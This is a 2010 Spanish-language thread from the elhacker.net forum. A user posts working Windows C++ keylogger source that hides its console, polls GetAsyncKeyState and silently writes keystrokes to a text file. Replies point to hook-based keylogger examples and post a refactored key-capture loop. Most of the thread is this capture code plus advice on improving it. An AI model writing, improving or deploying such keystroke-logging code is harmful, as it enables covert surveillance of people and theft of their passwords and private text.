Test Foro de elhacker.net SMF 2.1

Programación => Programación C/C++ => Mensaje iniciado por: M3LiNdR1 en 29 Mayo 2010, 14:07 PM

Título: Keylogger en C++
Publicado por: M3LiNdR1 en 29 Mayo 2010, 14:07 PM
Pues os enseño el codigo que he programado, basandome, en lo que he leído por Internet. Acepto críticas y consejos :).
Ya se que faltan keys, pero este codigo es educativo y solo lo he programado para saber como funcionan.
Sin mas a añadir, os cuelgo el codigo:

Código (cpp) [Seleccionar]

#include <iostream>
#include <windows.h>
using namespace std;


char keys() {
char c = '/';
if (GetAsyncKeyState('A')) c = 'A';
else if (GetAsyncKeyState('B')) c = 'B';
else if (GetAsyncKeyState('C')) c = 'C';
else if (GetAsyncKeyState('D')) c = 'D';
else if (GetAsyncKeyState('E')) c = 'E';
else if (GetAsyncKeyState('F')) c = 'F';
else if (GetAsyncKeyState('G')) c = 'G';
else if (GetAsyncKeyState('H')) c = 'H';
else if (GetAsyncKeyState('I')) c = 'I';
else if (GetAsyncKeyState('J')) c = 'J';
else if (GetAsyncKeyState('K')) c = 'K';
else if (GetAsyncKeyState('L')) c = 'L';
else if (GetAsyncKeyState('M')) c = 'M';
else if (GetAsyncKeyState('N')) c = 'N';
else if (GetAsyncKeyState('O')) c = 'O';
else if (GetAsyncKeyState('P')) c = 'P';
else if (GetAsyncKeyState('Q')) c = 'Q';
else if (GetAsyncKeyState('R')) c = 'R';
else if (GetAsyncKeyState('S')) c = 'S';
else if (GetAsyncKeyState('T')) c = 'T';
else if (GetAsyncKeyState('U')) c = 'U';
else if (GetAsyncKeyState('V')) c = 'V';
else if (GetAsyncKeyState('W')) c = 'W';
else if (GetAsyncKeyState('X')) c = 'X';
else if (GetAsyncKeyState('Y')) c = 'Y';
else if (GetAsyncKeyState('Z')) c = 'Z';
else if (GetAsyncKeyState('1')) c = '1';
else if (GetAsyncKeyState('2')) c = '2';
else if (GetAsyncKeyState('3')) c = '3';
else if (GetAsyncKeyState('4')) c = '4';
else if (GetAsyncKeyState('5')) c = '5';
else if (GetAsyncKeyState('6')) c = '6';
else if (GetAsyncKeyState('7')) c = '7';
else if (GetAsyncKeyState('8')) c = '8';
else if (GetAsyncKeyState('9')) c = '9';
else if (GetAsyncKeyState('0')) c = '0';
else if (GetAsyncKeyState(VK_SHIFT)) c = '^';
else if (GetAsyncKeyState(VK_ESCAPE)) c = 0x1B;
else if (GetAsyncKeyState(VK_BACK)) c = ' ';
return c;
}

int main() {
FreeConsole(); //Esconde el terminal
FILE *f;
f = fopen("file.txt","w"); //Crea i abre un archivo
char c = ' ';
while(c != 0x1B) {
c = keys();
if (c != '/') {
fprintf( f , "%c",c); //Escribe el caracter en el archivo
//cout << c;
}
Sleep(120); //Interrumpe el programa durante 120 milisegundos
}
fclose(f);
AllocConsole(); //Muestra el terminal
cout << "FIN DE PROGRAMA :)" << endl;
}


Explico un poco el codigo y bueno, la idea principal.
La función mas importante(creo yo) es: GetAsyncKeyState();
Esta función devuelve un valor o otro depende de si has pulsado la tecla o no, entonces le pasas el Virtual-Key Code como parametro y
a partir de ahí te dice si has pulsado la tecla o no.

Y bueno, nose con los comentarios se entiende bien que hace cada cosa no?
Lo que si es una "guarrada" son las inicializaciones del char c; pero esque tenia que evitar que me copiara la misma tecla pulsada multiples veces.
Hay alguna otra forma?


Esto es todo!! Espero sus opiniones.

P.D: Tuve que poner la función sleep, porque las interrupciones del teclado actuan mas rapido que los dedos de mi mano y claro, alomejor
pulsaba una tecla y el pc detectaba que la pulsaba mas veces.


Muchas gracias!!  :D
Título: Re: Keylogger en C++
Publicado por: h0oke en 29 Mayo 2010, 14:58 PM
Hay algo raro... pero... será que en la función keys() tienes muchos GetAnseyKeyState? Creo que lo correcto sería llamar a esta última una única vez, y en la función keys, hacer un switch de la tecla leída.
Título: Re: Keylogger en C++
Publicado por: Horricreu en 29 Mayo 2010, 21:32 PM
Es mejor utilizar hooks, te ahorras mucho código y van mejor ;)

Saludos :P
Título: Re: Keylogger en C++
Publicado por: M3LiNdR1 en 29 Mayo 2010, 21:57 PM
CitarHay algo raro... pero... será que en la función keys() tienes muchos GetAnseyKeyState? Creo que lo correcto sería llamar a esta última una única vez, y en la función keys, hacer un switch de la tecla leída.

Con una sola llamada? y entonces como lo tratas para cada boton del teclado?



Cita de: Horricreu en 29 Mayo 2010, 21:32 PM
Es mejor utilizar hooks, te ahorras mucho código y va mejor  ;)

Saludos  :P

Que es esto de los hooks???, lo he leído por el foro. Pero no lo entiendo.
Título: Re: Keylogger en C++
Publicado por: @synthesize en 29 Mayo 2010, 22:00 PM
Me gusta la idea, pero no es nada portable, usar la librería Windows, evidentemente xDDD.

¿No hay alguna forma de usarlo con cabeceras estándar?
Título: Re: Keylogger en C++
Publicado por: Horricreu en 29 Mayo 2010, 23:22 PM
Hooks (http://msdn.microsoft.com/en-us/library/ms997537.aspx) para Windows ;)

Saludos :P

PD: busca en Google, hay muchos ejemplos de keyloggers usando hooks en C/C++.
Título: Re: Keylogger en C++
Publicado por: seba123neo en 29 Mayo 2010, 23:25 PM
Keylogger using window hooks (http://www.daniweb.com/code/snippet217096.html)
Título: Re: Keylogger en C++
Publicado por: M3LiNdR1 en 1 Junio 2010, 00:08 AM
Cita de: GNU López en 29 Mayo 2010, 22:00 PM
Me gusta la idea, pero no es nada portable, usar la librería Windows, evidentemente xDDD.

¿No hay alguna forma de usarlo con cabeceras estándar?

Mmmm....si, he encontrado este proyecto por internet, por si te interesa:
http://sourceforge.net/projects/lkl/



Gracias Horricreu  y seba123neo, ya entiendo que son...Esq claro yo en principio pensaba usar algun evento en java y hacer el programa en java, pero claro, solo podia aplicar los eventos de los controles. Voy a ver si existen hooks en java y como tratarlos ;)

Sino c++ :)
Título: Re: Keylogger en C++
Publicado por: Horricreu en 1 Junio 2010, 18:07 PM
Sí hay hooks en Java, pero te recomendaría utilizar C/C++ para hacerlo, ya sea por su sencillez (si dominas la API) y sobretodo porque hay muchísima más información en C/C++.

Cita de: M3LiNdR1 en  1 Junio 2010, 00:08 AM

Gracias Horricreu  y seba123neo, ya entiendo que son...Esq claro yo en principio pensaba usar algun evento en java y hacer el programa en java, pero claro, solo podia aplicar los eventos de los controles. Voy a ver si existen hooks en java y como tratarlos ;)

Sino c++ :)

De nada ::)

Saludos :P
Título: Re: Keylogger en C++
Publicado por: pizarron en 3 Junio 2010, 09:51 AM
Si todavía queres seguir usando GetAsyncKeyState() podes hacer lo siguiente para los caractéres alfanuméricos:

char keys() {
char c = '/';
for( char key='0'; key<='Z'; key++ ){
if( key<='9' || key>='A' )
if( GetAsyncKeyState(key) ){
c = key;
break;
}
}

if( c=='/' ){
if (GetAsyncKeyState(VK_SHIFT)) c = '^';
else if (GetAsyncKeyState(VK_ESCAPE)) c = 0x1B;
else if (GetAsyncKeyState(VK_BACK)) c = ' ';
}

return c;
}